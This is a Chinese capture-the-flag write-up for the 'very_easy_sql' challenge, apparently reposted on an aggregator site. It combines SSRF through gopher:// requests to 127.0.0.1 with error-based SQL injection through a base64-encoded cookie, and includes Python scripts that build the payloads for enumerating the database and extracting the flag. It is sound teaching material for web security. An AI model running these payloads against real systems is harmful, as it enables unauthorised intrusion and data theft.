当前位置: 首页 > news >正文

very_easy_sql(SSRF+SQL注入)

题目有一行提示:

you are not an inner user, so we can not let you have identify~(你不是内部用户,所以我们不能让你进行身份验证)联想到可能存在SSRF漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正是因为请求是由服务器发起的,所以服务器能请求到与自身相连而与外网隔离的内部系统),所以根据提示内容会想到SSRF漏洞

查看源码,提示存在use.php

页面显示:你想用curl命令访问的网址是什么?

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤或限制,我们可以让服务器向自身发送请求(127.0.0.1),这样可以访问内网或本地服务

首先利用gopher协议实现内部访问

import urllib.parse# 目标服务器地址和端口
host = "127.0.0.1:80"# HTTP 请求体的内容
content = "uname=admin&passwd=admin"
content_length = len(content)# 构造 HTTP POST 请求的字符串
test = """POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}{}
""".format(host, content_length, content)# 对请求字符串进行 URL 编码
encoded_test = urllib.parse.quote(test)# 将换行符 %0A 替换为 %0D%0A,以符合 HTTP 协议
encoded_test = encoded_test.replace("%0A", "%0D%0A")# 构造最终的 Gopher 协议请求
result = "gopher://" + host + "/_" + encoded_testprint(result)

将 host 设为 127.0.0.1:80 是为了:

  • 利用 SSRF 让服务器自己发起 HTTP 请求,尝试访问本地 Web 应用中不可从外部访问的部分。
  • 结合 SQL 注入 payload,为了绕过一些限制,间接获取敏感数据

这段代码目的是 构造一个请求,用hopher协议发送,目的是让服务器访问其自身的 127.0.0.1 地址

抓包获取可以发现setcookie的值为admin的base64编码值。

猜测在setcookie处为注入点,首先测试是字符型还是整数型注入,构造payload为 \

 我们可以使用\(转义字符)来判断SQL注入的闭合方式。
    分析报错信息:看\斜杠后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型

在\后面为'),所以闭合方式为'),

使用报错注入查询数据库

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #"
//base64编码,提高注入得成功率
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查库security

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e)) #"
//base64编码,提高注入得成功率
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查表flag

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查内容flag  admin') and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) #

得到flag

http://www.xdnf.cn/news/326611.html

相关文章:

  • 配置指定地址的conda虚拟Python环境
  • gitcode 上传文件报错文件太大has exceeded the limited size (10 MiB) in commit
  • dragonfly Prometheus 没有监控指标 dragonfly_scheduler_host_traffic
  • 益鑫通连接器车规级,非车规可替代JST,MOLEX
  • Keil安装pack包时报错解决:Cannot copy license file to “.Download“ folder.
  • string--OJ3
  • 基于Django框架开发的B2C天天生鲜电商平台
  • 306.检查是否所有A都在B之前
  • 通用分布式锁组件
  • 【优化策略】离散化
  • 力扣92.反转指定范围内的链表、25.k个一组反转链表
  • SpringBoot优雅参数检查
  • java基础-数组
  • AI训练服务器概述
  • 【信息系统项目管理师】法律法规与标准规范——历年考题(2024年-2020年)
  • 【fastadmin开发实战】财务数据快速导入系统(复制导入)
  • 配置Hadoop集群-测试使用
  • C# NX二次开发:曲线和点位相关UFUN函数详解
  • 游戏中心首页
  • LeetCode:对称二叉树
  • 贵州省棒球运动发展中长期规划(2024-2035)·棒球1号位
  • MySQL 联合查询的使用教程
  • Consumer Group的作用是什么?Rebalance的触发条件有哪些? (实现消费者负载均衡;消费者加入/离开、订阅Topic变化等)
  • JAVA中常见队列详解-非线程安全
  • by 组态在化工生产线自动化控制中的应用方案
  • 工具分享:通过滑块拉取CAN报文信号数值自动发送报文
  • Python小酷库系列:Box,更为完善的dict属性化访问扩展库
  • 技术视界 | 青龙机器人训练地形详解(一):如何创建一个地形
  • HTB - Eureka记录
  • 数智管理学(八)